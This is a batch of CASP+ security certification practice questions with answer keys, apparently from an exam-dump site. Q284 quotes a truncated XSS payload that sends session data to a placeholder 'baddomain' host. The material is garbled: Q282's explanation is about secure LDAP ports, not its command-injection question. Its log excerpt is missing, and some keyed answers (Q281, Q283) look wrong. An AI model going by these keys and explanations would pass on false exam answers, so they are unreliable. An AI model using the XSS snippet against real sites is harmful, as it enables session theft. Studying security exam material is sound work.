CompTIA Advanced Security Practitioner (CASP+) Exam Sample Questions (Q281-Q286):

NEW QUESTION # 281
Due to adverse events, a medium-sized corporation suffered a major operational disruption that caused its servers to crash and experience a major power outage. Which of the following should be created to prevent this type of issue in the future?

- A. BCM
- B. BIA

- C. RTO
- D. BCP
- E. SLA

Answer: C

NEW QUESTION # 282

A company suspects a web server may have been infiltrated by a rival corporation. The security engineer reviews the web server logs and finds the following:

The security engineer looks at the code with a developer, and they determine the log entry is created when the following line is run:

system ("ls -l [path]")

Which of the following is an appropriate security control the company should implement?

- A. Use server-side processing to avoid XSS vulnerabilities in path input.
- B. Parameterize a query in the path variable to prevent SQL injection.
- C. Separate the items in the system call to prevent command injection.
- D. Restrict directory permission to read-only access.

Answer: C

Explanation:
The company using the wrong port is the most likely root cause of why secure LDAP is not working. Secure LDAP is a protocol that provides secure communication between clients and servers using LDAP (Lightweight Directory Access Protocol), which is a protocol that allows querying and modifying directory services over TCP/IP. Secure LDAP uses SSL (Secure Sockets Layer) or TLS (Transport Layer Security) to encrypt LDAP traffic and prevent unauthorized disclosure or interception.

NEW QUESTION # 283

A university issues badges through a homegrown identity management system to all staff and students. Each week during the summer, temporary summer school students arrive and need to be issued a badge to access minimal campus resources. The security team received a report from an outside auditor indicating the homegrown system is not consistent with best practices in the security field and leaves the institution vulnerable.
Which of the following should the security team recommend FIRST?

- A. Updating the identity management system to use discretionary access control
- B. Investigating a potential threat identified in logs related to the identity management system
- C. Working with procurement and creating a requirements document to select a new IAM system/vendor
- D. Beginning research on two-factor authentication to later introduce into the identity management system

Answer: B

NEW QUESTION # 284

A threat analyst notices the following URL while going through the HTTP logs.
http://www.safebrowsing~~~/search.asp?q=<script>x=newimage;x.src="http:
//baddomain~~~/session;
Which of the following attack types is the threat analyst seeing?

- A. SQL injection
- B. CSRF
- C. XSS
- D. Session hijacking

Answer: C

NEW QUESTION # 285

An administrator at a software development company would like to protect the integrity of the company's applications with digital signatures. The developers report that the signing process keeps failing on all applications. The same key pair used for signing, however, is working properly on the website, is valid, and is issued by a trusted CA. Which of the following is MOST likely the cause of the signature failing?

- A. The CA has included the certificate in its CRL.
- B. The certificate is set for the wrong key usage.
- C. Each application is missing a SAN or wildcard entry on the certificate
- D. The NTP server is set incorrectly for the developers

Answer: B

Explanation:
The most likely cause of the signature failing is that the certificate is set for the wrong key usage. Key usage is an extension of a certificate that defines the purpose and functionality of the public key contained in the certificate. Key usage can include digital signature, key encipherment, dataencipherment, certificate signing, and others. If the certificate is set for a different key usage than digital signature, it will not be able to sign the applications properly. The administrator should check the key usage extension of the certificate and make sure it matches the intended purpose. Verified References:
